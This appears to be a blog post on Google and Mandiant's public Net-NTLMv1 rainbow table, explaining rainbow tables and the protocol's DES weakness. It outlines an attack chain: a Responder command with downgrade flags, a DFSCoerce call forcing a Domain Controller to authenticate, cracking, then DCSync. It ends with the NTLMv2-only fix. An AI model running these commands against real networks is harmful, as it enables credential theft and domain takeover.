Google, and their recently acquired security company Mandiant have just accelerated the end-of-life process for Net-NTLMv1 - by doing the equivalent of kicking it off of a cliff. They have just released a comprehensive rainbow table (over 1.1 quadrillion entries) totalling 8.6TB of data for public access. The stated purpose of this is to continue to lower the barrier of entry to security professionals who want to prove the gaping security hole that continuing to use this protocol creates. Google hopes to accelerate the death of this long-deprecated protocol in the interest of public security, stating its now possible to crack the protcol with less than $600USD of hardware and 12 hours of time.

Not only has Google released this data, they have also released an entire in-depth "how-to" on cracking DES. All of the information this article is written about can be found here.

Net-NTLMv1 has been known to be insecure since the late 90s (which is longer than I've been alive). The cryptography behind it dates back to 1999, and yet was shown to be weak at DEFCON 20 (c. 2012)

The protocol is vulnerable because it's essentially built on DES (Data Encryption Standard), which was already showing its age when The Matrix came out. Attackers—or your friendly neighborhood Red Team—can abuse this by forcing authentication (coercion) from a privileged machine, like a Domain Controller, to their own machine.

If you're new to password cracking, you might be used to wordlists (like rockyou.txt) or brute-forcing. Rainbow tables are a different beast. They are a trade-off between Time and Memory, where plaintext passwords are indexed against their pre-calculated Hash function.

Imagine you want to crack a password. You could hash every possible password one by one and compare it to your target hash (Brute Force). This takes very little memory but a massive amount of Time.

Alternatively, you could pre-calculate the hash for every possible password and store them in a giant database (Lookup Table). When you see a hash, you just look it up to find the password. This is instant (in theory, O(1)), but requires significantly more storage (hence Google's publicly released dataset being 8.6TB - probably more than what your standard MacBook has).

A Rainbow Table sits in the middle. It uses "reduction functions" to create chains of hashes. You store only the start and end points of these chains. When you have a hash to crack, you run it through the same reduction functions until you hit an end point that is in your table, then you can trace the chain back to find the plain text. It sacrifices a little bit of time (processing the chains) to save a huge amount of memory.

So how does this actually look in practice?

Disclaimer: The methodology below has been taken from the linked Google article. I do not endorse doing this for anything other than research or legitimate purposes, nor do I claim this to work.

First, you need the hash. This is typically done using tools like Responder. You set the challenge to a static value (like1122334455667788) to make the rainbow table lookup possible.

responder -I eth0 --lm --disable-ess

The --disable-ess flag is crucial here as it strips away Extended Session Security, forcing the downgrade we need.

If you don't want to wait for a broadcast, you can use tools like PetitPotam or DFSCoerce to force a Domain Controller to authenticate to you.

python3 dfscoerce.py -u user -p password domain/target listener_ip

With Google's tables, you don't need a GPU farm. You can download the tables (using gsutil) and use tools like RainbowCrack-NG to find the key. Once you have the NTLM hash of a Domain Controller machine account, you have ultimate privileged acces. You can DCSync and dump the entire domain.

There is no "patch" for this. The feature is the vulnerability. The only fix is to turn it off. You need to set your "LAN Manager authentication level" to "Send NTLMv2 response only".

This "gentle nudge" is an interesting move from Google. You could argue that they're handing out weaponry to bad guys; or simply reminding network managers that their security and protocol suite should probably be from this century.